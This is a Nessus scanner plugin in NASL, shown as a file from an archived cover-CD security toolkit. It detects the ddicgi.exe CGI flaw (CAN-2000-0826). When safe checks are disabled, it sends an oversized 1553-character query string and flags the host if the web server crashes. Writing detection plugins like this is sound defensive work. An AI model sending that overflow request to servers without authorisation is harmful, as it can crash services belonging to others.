home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / ddicgi.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  81 lines

  1. #
  2. # This script was written by John Lampe...j_lampe@bellsouth.net 
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7.  
  8.  
  9. if(description)
  10. {
  11.  script_id(11728);
  12.  script_bugtraq_id(1657);
  13.  script_version ("$Revision: 1.10 $");
  14.  script_cve_id("CAN-2000-0826");
  15.  
  16.  
  17.  name["english"] = "ddicgi.exe vulnerability";
  18.  name["francais"] = "ddicgi.exe vulnerability";
  19.  script_name(english:name["english"], francais:name["francais"]);
  20.  
  21.  desc["english"] = "
  22. The file ddicgi.exe exists on this webserver.  
  23. Some versions of this file are vulnerable to remote exploit.
  24.  
  25. An attacker may use this file to gain access to confidential data
  26. or escalate their privileges on the Web server.
  27.  
  28. Solution : remove it from the cgi-bin or scripts directory.
  29.  
  30. Risk factor : High";
  31.  
  32.  
  33.  script_description(english:desc["english"]);
  34.  
  35.  summary["english"] = "Checks for the ddicgi.exe file";
  36.  
  37.  script_summary(english:summary["english"]);
  38.  
  39.  script_category(ACT_MIXED_ATTACK);
  40.  
  41.  
  42.  script_copyright(english:"This script is Copyright (C) 2003 John Lampe",
  43.         francais:"Ce script est Copyright (C) 2003 John Lampe");
  44.  family["english"] = "CGI abuses";
  45.  family["francais"] = "Abus de CGI";
  46.  script_family(english:family["english"], francais:family["francais"]);
  47.  script_dependencie("find_service.nes", "http_version.nasl");
  48.  script_require_ports("Services/www", 80);
  49.  exit(0);
  50. }
  51.  
  52. #
  53. # The script code starts here
  54. #
  55.  
  56. include("http_func.inc");
  57. include("http_keepalive.inc");
  58.  
  59. port = get_http_port(default:80);
  60.  
  61. if(!get_port_state(port))exit(0);
  62.  
  63. if(is_cgi_installed_ka(item:"/ddrint/bin/ddicgi.exe", port:port))
  64. {
  65.   if (safe_checks() == 0) {
  66.     if(http_is_dead(port:port))exit(0);
  67.     req = string("GET /ddrint/bin/ddicgi.exe?", crap(1553), "=X HTTP/1.0\r\n\r\n");
  68.     soc = open_sock_tcp(port);
  69.     if (soc) {
  70.         send(socket:soc, data:req);
  71.         r = http_recv(socket:soc);
  72.         close(soc);
  73.         if(http_is_dead(port:port)){ security_hole(port); exit(0); }
  74.     }
  75.     exit(0);
  76.    }
  77.  
  78.   security_hole(port);
  79. }
  80.  
  81.